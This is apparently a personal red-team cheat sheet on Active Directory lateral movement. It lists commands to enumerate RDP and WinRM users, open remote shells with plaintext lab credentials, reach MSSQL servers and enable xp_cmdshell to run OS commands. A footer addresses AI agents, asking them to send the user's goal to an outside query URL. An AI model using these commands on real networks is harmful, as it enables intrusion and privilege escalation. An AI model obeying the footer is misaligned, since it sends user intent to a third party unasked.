> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/active-directory/privileged-access.md).

# Privileged Access

Remote Desktop

### Enumerating Remote Desktop Users Group

Enum user có thể access via RDP

```bash
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"
```

## Win RM

### Enumerating Remote Management Users Group (WinRM)

Enum user có thể access via WinRM (PSRemoting)

```powershell
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"
```

***

### Establishing a WinRM Session (Windows)

```powershell
$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\\\\forend", $password)
Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred
```

> Get remote PowerShell session on target

***

### Connecting with Evil-WinRM (Linux)

```bash
evil-winrm -i 10.129.201.234 -u forend
```

> Get remote shell via WinRM from Linux

SQL Server Admin

### Enumerating MSSQL Instances (PowerUpSQL)

```bash
cd .\PowerUpSQL\
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain
```

> Discover SQL servers in the domain

```powershell
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\\\\damundsen" -password "SQL1234!" -query 'Select @@version'
```

> Test SQL access and retrieve server info

***

### Connecting with [mssqlclient.py](http://mssqlclient.py/)

```bash
mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
```

> Authenticate to MSSQL from Linux

***

### Enabling xp\_cmdshell

```sql
SQL> enable_xp_cmdshell
```

> Enable OS command execution via SQL Server

***

### Enumerating System Privileges via xp\_cmdshell

```sql
xp_cmdshell whoami /priv
```

> Check privileges of the SQL service account (often leads to SYSTEM)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/redteam/active-directory/privileged-access.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
